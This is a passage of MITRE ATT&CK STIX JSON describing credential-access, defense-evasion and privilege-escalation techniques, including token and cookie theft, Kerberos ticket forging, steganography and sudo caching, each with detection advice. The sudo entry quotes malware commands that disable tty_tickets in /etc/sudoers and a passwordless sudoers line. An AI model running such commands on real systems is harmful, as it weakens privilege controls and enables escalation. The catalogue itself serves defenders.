            "id": "attack-pattern--890c9858-598c-401d-a4d5-c67ebcdd703a",
            "description": "Adversaries can steal user application access tokens as a means of acquiring credentials to access remote systems and resources. This can occur through social engineering and typically requires user action to grant access.\n\nApplication access tokens are used to make authorized API requests on behalf of a user and are commonly used as a way to access resources in cloud-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. An application desiring access to cloud-based services or protected APIs can gain entry using OAuth 2.0 through a variety of authorization protocols. An example commonly-used sequence is Microsoft's Authorization Code Grant flow.(Citation: Microsoft Identity Platform Protocols May 2019)(Citation: Microsoft - OAuth Code Authorization flow - June 2019) An OAuth access token enables a third-party application to interact with resources containing user data in the ways requested by the application without obtaining user credentials. \n \nAdversaries can leverage OAuth authorization by constructing a malicious application designed to be granted access to resources with the target user's OAuth token. The adversary will need to complete registration of their application with the authorization server, for example Microsoft Identity Platform using Azure Portal, the Visual Studio IDE, the command-line interface, PowerShell, or REST API calls.(Citation: Microsoft - Azure AD App Registration - May 2019) Then, they can send a link through [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) to the target user to entice them to grant access to the application. Once the OAuth access token is granted, the application can gain potentially long-term access to features of the user account through [Application Access Token](https://attack.mitre.org/techniques/T1550/001).(Citation: Microsoft - Azure AD Identity Tokens - Aug 2019)\n\nAdversaries have been seen targeting Gmail, Microsoft Outlook, and Yahoo Mail users.(Citation: Amnesty OAuth Phishing Attacks, August 2019)(Citation: Trend Micro Pawn Storm OAuth 2017)",
            "name": "Steal Application Access Token",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://attack.mitre.org/techniques/T1528",
                    "source_name": "mitre-attack",
                    "external_id": "T1528"
                },
                {
                    "description": "Auth0. (n.d.). Why You Should Always Use Access Tokens to Secure APIs. Retrieved September 12, 2019.",
                    "url": "https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/",
                    "source_name": "Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019"
                },
                {
                    "description": "Microsoft. (n.d.). Retrieved September 12, 2019.",
                    "url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-v2-protocols",
                    "source_name": "Microsoft Identity Platform Protocols May 2019"
                },
                {
                    "description": "Microsoft. (n.d.). Microsoft identity platform and OAuth 2.0 authorization code flow. Retrieved September 12, 2019.",
                    "url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-auth-code-flow",
                    "source_name": "Microsoft - OAuth Code Authorization flow - June 2019"
                },
                {
                    "description": "Microsoft. (2019, May 8). Quickstart: Register an application with the Microsoft identity platform. Retrieved September 12, 2019.",
                    "url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/quickstart-register-app",
                    "source_name": "Microsoft - Azure AD App Registration - May 2019"
                },
                {
                    "description": "Microsoft. (2019, August 29). Microsoft identity platform access tokens. Retrieved September 12, 2019.",
                    "url": "https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens",
                    "source_name": "Microsoft - Azure AD Identity Tokens - Aug 2019"
                },
                {
                    "description": "Amnesty International. (2019, August 16). Evolving Phishing Attacks Targeting Journalists and Human Rights Defenders from the Middle-East and North Africa. Retrieved October 8, 2019.",
                    "url": "https://www.amnesty.org/en/latest/research/2019/08/evolving-phishing-attacks-targeting-journalists-and-human-rights-defenders-from-the-middle-east-and-north-africa/",
                    "source_name": "Amnesty OAuth Phishing Attacks, August 2019"
                },
                {
                    "description": "Hacquebord, F.. (2017, April 25). Pawn Storm Abuses Open Authentication in Advanced Social Engineering Attacks. Retrieved October 4, 2019.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks",
                    "source_name": "Trend Micro Pawn Storm OAuth 2017"
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "modified": "2021-04-14T17:56:17.311Z",
            "created": "2019-09-04T15:54:25.684Z",
            "x_mitre_is_subtechnique": false,
            "x_mitre_detection": "Administrators should set up monitoring to trigger automatic alerts when policy criteria are met. For example, using a Cloud Access Security Broker (CASB), admins can create a \u201cHigh severity app permissions\u201d policy that generates alerts if apps request high severity permissions or send permissions requests for too many users.\n\nSecurity analysts can hunt for malicious apps using the tools available in their CASB, identity provider, or resource provider (depending on platform.) For example, they can filter for apps that are authorized by a small number of users, apps requesting high risk permissions, permissions incongruous with the app\u2019s purpose, or apps with old \u201cLast authorized\u201d fields. A specific app can be investigated using an activity log displaying activities the app has performed, although some activities may be mis-logged as being performed by the user. App stores can be useful resources to further investigate suspicious apps.\n\nAdministrators can set up a variety of logs and leverage audit tools to monitor actions that can be conducted as a result of OAuth 2.0 access. For instance, audit reports enable admins to identify privilege escalation actions such as role creations or policy modifications, which could be actions performed after initial access.",
            "x_mitre_platforms": [
                "SaaS",
                "Office 365",
                "Azure AD",
                "Google Workspace"
            ],
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_contributors": [
                "Shailesh Tiwary (Indian Army)",
                "Mark Wee",
                "Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)",
                "Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)"
            ],
            "x_mitre_data_sources": [
                "User Account: User Account Modification"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1539",
                    "url": "https://attack.mitre.org/techniques/T1539"
                },
                {
                    "description": "Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.",
                    "url": "https://wunderwuzzi23.github.io/blog/passthecookie.html",
                    "source_name": "Pass The Cookie"
                },
                {
                    "source_name": "Kaspersky TajMahal April 2019",
                    "url": "https://securelist.com/project-tajmahal/90240/",
                    "description": "GReAT. (2019, April 10). Project TajMahal \u2013 a sophisticated new APT framework. Retrieved October 14, 2019."
                },
                {
                    "source_name": "Unit 42 Mac Crypto Cookies January 2019",
                    "url": "https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/",
                    "description": "Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges\u2019 Cookies. Retrieved October 14, 2019."
                },
                {
                    "description": "Gretzky, Kuba. (2019, April 10). Retrieved October 8, 2019.",
                    "url": "https://github.com/kgretzky/evilginx2",
                    "source_name": "Github evilginx2"
                },
                {
                    "source_name": "GitHub Mauraena",
                    "url": "https://github.com/muraenateam/muraena",
                    "description": "Orr\u00f9, M., Trotta, G.. (2019, September 11). Muraena. Retrieved October 14, 2019."
                }
            ],
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            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Steal Web Session Cookie",
            "description": "An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website.\n\nCookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols.(Citation: Pass The Cookie)\n\nThere are several examples of malware targeting cookies from web browsers on the local system.(Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42 Mac Crypto Cookies January 2019) There are also open source frameworks such as Evilginx 2 and Muraena that can gather session cookies through a man-in-the-middle proxy that can be set up by an adversary and used in phishing campaigns.(Citation: Github evilginx2)(Citation: GitHub Mauraena)\n\nAfter an adversary acquires a valid cookie, they can then perform a [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004) technique to login to the corresponding web application.",
            "id": "attack-pattern--10ffac09-e42d-4f56-ab20-db94c67d76ff",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "modified": "2021-04-14T17:57:07.903Z",
            "created": "2019-10-08T20:04:35.508Z",
            "x_mitre_is_subtechnique": false,
            "x_mitre_detection": "Monitor for attempts to access files and repositories on a local system that are used to store browser session cookies. Monitor for attempts by programs to inject into or dump browser process memory.",
            "x_mitre_data_sources": [
                "File: File Access",
                "Process: Process Access"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_permissions_required": [
                "User"
            ],
            "x_mitre_contributors": [
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                "Johann Rehberger"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows",
                "Office 365",
                "SaaS",
                "Google Workspace"
            ]
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1558",
                    "url": "https://attack.mitre.org/techniques/T1558"
                },
                {
                    "external_id": "CAPEC-652",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/652.html"
                },
                {
                    "source_name": "ADSecurity Kerberos Ring Decoder",
                    "url": "https://adsecurity.org/?p=227",
                    "description": "Sean Metcalf. (2014, September 12). Kerberos, Active Directory\u2019s Secret Decoder Ring. Retrieved February 27, 2020."
                },
                {
                    "url": "https://adsecurity.org/?p=1515",
                    "description": "Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015.",
                    "source_name": "ADSecurity Detecting Forged Tickets"
                },
                {
                    "source_name": "Stealthbits Detect PtT 2019",
                    "url": "https://blog.stealthbits.com/detect-pass-the-ticket-attacks",
                    "description": "Jeff Warren. (2019, February 19). How to Detect Pass-the-Ticket Attacks. Retrieved February 27, 2020."
                },
                {
                    "url": "https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf",
                    "description": "Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.",
                    "source_name": "CERT-EU Golden Ticket Protection"
                },
                {
                    "source_name": "Microsoft Kerberos Golden Ticket",
                    "url": "https://gallery.technet.microsoft.com/scriptcenter/Kerberos-Golden-Ticket-b4814285",
                    "description": "Microsoft. (2015, March 24). Kerberos Golden Ticket Check (Updated). Retrieved February 27, 2020."
                },
                {
                    "url": "https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/",
                    "description": "Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018.",
                    "source_name": "Microsoft Detecting Kerberoasting Feb 2018"
                },
                {
                    "url": "https://adsecurity.org/?p=2293",
                    "description": "Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast \u2013 Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.",
                    "source_name": "AdSecurity Cracking Kerberos Dec 2015"
                },
                {
                    "description": "French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.",
                    "url": "https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea",
                    "source_name": "Medium Detecting Attempts to Steal Passwords from Memory"
                }
            ],
            "object_marking_refs": [
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            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Steal or Forge Kerberos Tickets",
            "description": "Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). \n\nKerberos is an authentication protocol widely used in modern Windows domain environments. In Kerberos environments, referred to as \u201crealms\u201d, there are three basic participants: client, service, and Key Distribution Center (KDC).(Citation: ADSecurity Kerberos Ring Decoder) Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated. The KDC is responsible for both authentication and ticket granting.  Attackers may attempt to abuse Kerberos by stealing tickets or forging tickets to enable unauthorized access.",
            "id": "attack-pattern--3fc01293-ef5e-41c6-86ce-61f10706b64a",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "modified": "2020-11-05T16:07:04.189Z",
            "created": "2020-02-11T19:12:46.830Z",
            "x_mitre_system_requirements": [
                "Kerberos authentication enabled"
            ],
            "x_mitre_data_sources": [
                "Active Directory: Active Directory Credential Request",
                "Logon Session: Logon Session Metadata"
            ],
            "x_mitre_detection": "Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4672, 4634), RC4 encryption within ticket granting tickets (TGTs), and ticket granting service (TGS) requests without preceding TGT requests.(Citation: ADSecurity Detecting Forged Tickets)(Citation: Stealthbits Detect PtT 2019)(Citation: CERT-EU Golden Ticket Protection)\n\nMonitor the lifetime of TGT tickets for values that differ from the default domain duration.(Citation: Microsoft Kerberos Golden Ticket)\n\nMonitor for indications of [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003) being used to move laterally. \n\nEnable Audit Kerberos Service Ticket Operations to log Kerberos TGS service ticket requests. Particularly investigate irregular patterns of activity (ex: accounts making numerous requests, Event ID 4769, within a small time frame, especially if they also request RC4 encryption [Type 0x17]).(Citation: Microsoft Detecting Kerberoasting Feb 2018) (Citation: AdSecurity Cracking Kerberos Dec 2015)\n\nMonitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details, including Kerberos tickets, are stored.",
            "x_mitre_version": "1.2",
            "x_mitre_is_subtechnique": false,
            "x_mitre_platforms": [
                "Windows"
            ]
        },
        {
            "created": "2020-02-05T14:28:16.719Z",
            "modified": "2020-09-16T19:24:20.350Z",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "type": "attack-pattern",
            "id": "attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916",
            "description": "Adversaries may use steganography techniques in order to prevent the detection of hidden information. Steganographic techniques can be used to hide data in digital media such as images, audio tracks, video clips, or text files.\n\n[Duqu](https://attack.mitre.org/software/S0038) was an early example of malware that used steganography. It encrypted the gathered information from a victim's system and hid it within an image before exfiltrating the image to a C2 server.(Citation: Wikipedia Duqu) \n\nBy the end of 2017, a threat group used\u202f<code>Invoke-PSImage</code>\u202fto hide [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands in an image file (.png) and execute the code on a victim's system. In this particular case the [PowerShell](https://attack.mitre.org/techniques/T1059/001) code downloaded another obfuscated script to gather intelligence from the victim's machine and communicate it back to the adversary.(Citation: McAfee Malicious Doc Targets Pyeongchang Olympics)  ",
            "name": "Steganography",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1027.003",
                    "url": "https://attack.mitre.org/techniques/T1027/003"
                },
                {
                    "external_id": "CAPEC-636",
                    "source_name": "capec",
                    "url": "https://capec.mitre.org/data/definitions/636.html"
                },
                {
                    "url": "https://en.wikipedia.org/wiki/Duqu",
                    "description": "Wikipedia. (2017, December 29). Duqu. Retrieved April 10, 2018.",
                    "source_name": "Wikipedia Duqu"
                },
                {
                    "url": "https://securingtomorrow.mcafee.com/mcafee-labs/malicious-document-targets-pyeongchang-olympics/",
                    "description": "Saavedra-Morales, J., Sherstobitoff, R. (2018, January 6). Malicious Document Targets Pyeongchang Olympics. Retrieved April 10, 2018.",
                    "source_name": "McAfee Malicious Doc Targets Pyeongchang Olympics"
                }
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ],
            "x_mitre_data_sources": [
                "File: File Content"
            ],
            "x_mitre_detection": "Detection of steganography is difficult unless artifacts are left behind by the obfuscation process that are detectable with a known signature. Look for strings are other signatures left in system artifacts related to decoding steganography.",
            "x_mitre_is_subtechnique": true,
            "x_mitre_version": "1.1"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1001.002",
                    "url": "https://attack.mitre.org/techniques/T1001/002"
                },
                {
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "source_name": "University of Birmingham C2"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Steganography",
            "description": "Adversaries may use steganographic techniques to hide command and control traffic to make detection efforts more difficult. Steganographic techniques can be used to hide data in digital messages that are transferred between systems. This hidden information can be used for command and control of compromised systems. In some cases, the passing of files embedded using steganography, such as image or document files, can be used for command and control. ",
            "id": "attack-pattern--eec23884-3fa1-4d8a-ac50-6f104d51e235",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "command-and-control"
                }
            ],
            "modified": "2020-03-15T00:37:58.963Z",
            "created": "2020-03-15T00:37:58.963Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_detection": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)",
            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Content"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ]
        },
        {
            "id": "attack-pattern--0bf78622-e8d2-41da-a857-731472d61a92",
            "name": "Stored Data Manipulation",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1492",
                    "url": "https://attack.mitre.org/techniques/T1492"
                },
                {
                    "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.",
                    "url": "https://content.fireeye.com/apt/rpt-apt38",
                    "source_name": "FireEye APT38 Oct 2018"
                },
                {
                    "source_name": "DOJ Lazarus Sony 2018",
                    "url": "https://www.justice.gov/opa/press-release/file/1092091/download",
                    "description": "Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019."
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-03-02T14:24:26.780Z",
            "created": "2019-04-09T11:51:30.942Z"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1565.001",
                    "url": "https://attack.mitre.org/techniques/T1565/001"
                },
                {
                    "description": "FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.",
                    "url": "https://content.fireeye.com/apt/rpt-apt38",
                    "source_name": "FireEye APT38 Oct 2018"
                },
                {
                    "source_name": "DOJ Lazarus Sony 2018",
                    "url": "https://www.justice.gov/opa/press-release/file/1092091/download",
                    "description": "Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019."
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Stored Data Manipulation",
            "description": "Adversaries may insert, delete, or manipulate data at rest in order to manipulate external outcomes or hide activity.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making.\n\nStored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.",
            "id": "attack-pattern--1cfcb312-b8d7-47a4-b560-4b16cc677292",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "impact"
                }
            ],
            "modified": "2020-03-02T15:17:40.505Z",
            "created": "2020-03-02T14:22:24.410Z",
            "x_mitre_version": "1.0",
            "x_mitre_is_subtechnique": true,
            "x_mitre_permissions_required": [
                "User",
                "Administrator",
                "root",
                "SYSTEM"
            ],
            "x_mitre_impact_type": [
                "Integrity"
            ],
            "x_mitre_detection": "Where applicable, inspect important file hashes, locations, and modifications for suspicious/unexpected values.",
            "x_mitre_data_sources": [
                "File: File Creation",
                "File: File Deletion",
                "File: File Modification"
            ],
            "x_mitre_platforms": [
                "Linux",
                "macOS",
                "Windows"
            ]
        },
        {
            "revoked": false,
            "id": "attack-pattern--b83e166d-13d7-4b52-8677-dff90c548fd7",
            "description": "Adversaries may undermine security controls that will either warn users of untrusted activity or prevent execution of untrusted programs. Operating systems and security products may contain mechanisms to identify programs or websites as possessing some level of trust. Examples of such features would include a program being allowed to run because it is signed by a valid code signing certificate, a program prompting the user with a warning because it has an attribute set from being downloaded from the Internet, or getting an indication that you are about to connect to an untrusted site.\n\nAdversaries may attempt to subvert these trust mechanisms. The method adversaries use will depend on the specific mechanism they seek to subvert. Adversaries may conduct [File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222) or [Modify Registry](https://attack.mitre.org/techniques/T1112) in support of subverting these controls.(Citation: SpectorOps Subverting Trust Sept 2017) Adversaries may also create or steal code signing certificates to acquire trust on target systems.(Citation: Securelist Digital Certificates)(Citation: Symantec Digital Certificates) ",
            "name": "Subvert Trust Controls",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1553",
                    "url": "https://attack.mitre.org/techniques/T1553"
                },
                {
                    "url": "https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf",
                    "description": "Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved January 31, 2018.",
                    "source_name": "SpectorOps Subverting Trust Sept 2017"
                },
                {
                    "url": "https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/",
                    "description": "Ladikov, A. (2015, January 29). Why You Shouldn\u2019t Completely Trust Files Signed with Digital Certificates. Retrieved March 31, 2016.",
                    "source_name": "Securelist Digital Certificates"
                },
                {
                    "url": "http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates",
                    "description": "Shinotsuka, H. (2013, February 22). How Attackers Steal Private Keys from Digital Certificates. Retrieved March 31, 2016.",
                    "source_name": "Symantec Digital Certificates"
                },
                {
                    "url": "https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec",
                    "description": "Graeber, M. (2017, December 22). Code Signing Certificate Cloning Attacks and Defenses. Retrieved April 3, 2018.",
                    "source_name": "SpectorOps Code Signing Dec 2017"
                }
            ],
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "modified": "2021-04-26T15:41:39.612Z",
            "created": "2020-02-05T14:54:07.588Z",
            "x_mitre_platforms": [
                "Windows",
                "macOS",
                "Linux"
            ],
            "x_mitre_data_sources": [
                "Windows Registry: Windows Registry Key Creation",
                "Windows Registry: Windows Registry Key Modification",
                "Process: Process Creation",
                "Command: Command Execution",
                "File: File Metadata",
                "File: File Modification",
                "Module: Module Load"
            ],
            "x_mitre_detection": "Collect and analyze signing certificate metadata on software that executes within the environment to look for unusual certificate characteristics and outliers. Periodically baseline registered SIPs and trust providers (Registry entries and files on disk), specifically looking for new, modified, or non-Microsoft entries. (Citation: SpectorOps Subverting Trust Sept 2017) A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity.(Citation: SpectorOps Code Signing Dec 2017)\n\nAnalyze Autoruns data for oddities and anomalies, specifically malicious files attempting persistent execution by hiding within auto-starting locations. Autoruns will hide entries signed by Microsoft or Windows by default, so ensure \"Hide Microsoft Entries\" and \"Hide Windows Entries\" are both deselected.(Citation: SpectorOps Subverting Trust Sept 2017) \n\nMonitor and investigate attempts to modify extended file attributes with utilities such as <code>xattr</code>. Built-in system utilities may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. ",
            "x_mitre_defense_bypassed": [
                "Application control",
                "Anti-virus",
                "Autoruns Analysis",
                "Digital Certificate Validation",
                "Process whitelisting",
                "User Mode Signature Validation",
                "Windows User Account Control"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_version": "1.0"
        },
        {
            "id": "attack-pattern--9e80ddfb-ce32-4961-a778-ca6a10cfae72",
            "name": "Sudo",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1169",
                    "url": "https://attack.mitre.org/techniques/T1169"
                },
                {
                    "url": "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/",
                    "description": "Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.",
                    "source_name": "OSX.Dok Malware"
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-02-05T20:11:12.593Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "attack-pattern--2169ba87-1146-4fc7-a118-12b72251db7e",
            "name": "Sudo Caching",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1206",
                    "url": "https://attack.mitre.org/techniques/T1206"
                },
                {
                    "url": "https://www.sudo.ws/",
                    "description": "Todd C. Miller. (2018). Sudo Man Page. Retrieved March 19, 2018.",
                    "source_name": "sudo man page 2018"
                },
                {
                    "url": "https://www.cybereason.com/blog/labs-proton-b-what-this-mac-malware-actually-does",
                    "description": "Amit Serper. (2018, May 10). ProtonB What this Mac Malware Actually Does. Retrieved March 19, 2018.",
                    "source_name": "cybereason osx proton"
                }
            ],
            "revoked": true,
            "type": "attack-pattern",
            "modified": "2020-02-05T20:10:18.586Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "external_id": "T1548.003",
                    "url": "https://attack.mitre.org/techniques/T1548/003"
                },
                {
                    "url": "https://www.sudo.ws/",
                    "description": "Todd C. Miller. (2018). Sudo Man Page. Retrieved March 19, 2018.",
                    "source_name": "sudo man page 2018"
                },
                {
                    "url": "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/",
                    "description": "Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017.",
                    "source_name": "OSX.Dok Malware"
                },
                {
                    "url": "https://www.cybereason.com/blog/labs-proton-b-what-this-mac-malware-actually-does",
                    "description": "Amit Serper. (2018, May 10). ProtonB What this Mac Malware Actually Does. Retrieved March 19, 2018.",
                    "source_name": "cybereason osx proton"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "name": "Sudo and Sudo Caching",
            "description": "Adversaries may perform sudo caching and/or use the suoders file to elevate privileges. Adversaries may do this to execute commands as other users or spawn processes with higher privileges.\n\nWithin Linux and MacOS systems, sudo (sometimes referred to as \"superuser do\") allows users to perform commands from terminals with elevated privileges and to control who can perform these commands on the system. The <code>sudo</code> command \"allows a system administrator to delegate authority to give certain users (or groups of users) the ability to run some (or all) commands as root or another user while providing an audit trail of the commands and their arguments.\"(Citation: sudo man page 2018) Since sudo was made for the system administrator, it has some useful configuration features such as a <code>timestamp_timeout</code>, which is the amount of time in minutes between instances of <code>sudo</code> before it will re-prompt for a password. This is because <code>sudo</code> has the ability to cache credentials for a period of time. Sudo creates (or touches) a file at <code>/var/db/sudo</code> with a timestamp of when sudo was last run to determine this timeout. Additionally, there is a <code>tty_tickets</code> variable that treats each new tty (terminal session) in isolation. This means that, for example, the sudo timeout of one tty will not affect another tty (you will have to type the password again).\n\nThe sudoers file, <code>/etc/sudoers</code>, describes which users can run which commands and from which terminals. This also describes which commands users can run as other users or groups. This provides the principle of least privilege such that users are running in their lowest possible permissions for most of the time and only elevate to other users or permissions as needed, typically by prompting for a password. However, the sudoers file can also specify when to not prompt users for passwords with a line like <code>user1 ALL=(ALL) NOPASSWD: ALL</code> (Citation: OSX.Dok Malware). Elevated privileges are required to edit this file though.\n\nAdversaries can also abuse poor configurations of these mechanisms to escalate privileges without needing the user's password. For example, <code>/var/db/sudo</code>'s timestamp can be monitored to see if it falls within the <code>timestamp_timeout</code> range. If it does, then malware can execute sudo commands without needing to supply the user's password. Additional, if <code>tty_tickets</code> is disabled, adversaries can do this from any tty for that user.\n\nIn the wild, malware has disabled <code>tty_tickets</code> to potentially make scripting easier by issuing <code>echo \\'Defaults !tty_tickets\\' >> /etc/sudoers</code> (Citation: cybereason osx proton). In order for this change to be reflected, the malware also issued <code>killall Terminal</code>. As of macOS Sierra, the sudoers file has <code>tty_tickets</code> enabled by default.",
            "id": "attack-pattern--1365fe3b-0f50-455d-b4da-266ce31c23b0",
            "type": "attack-pattern",
            "kill_chain_phases": [
                {
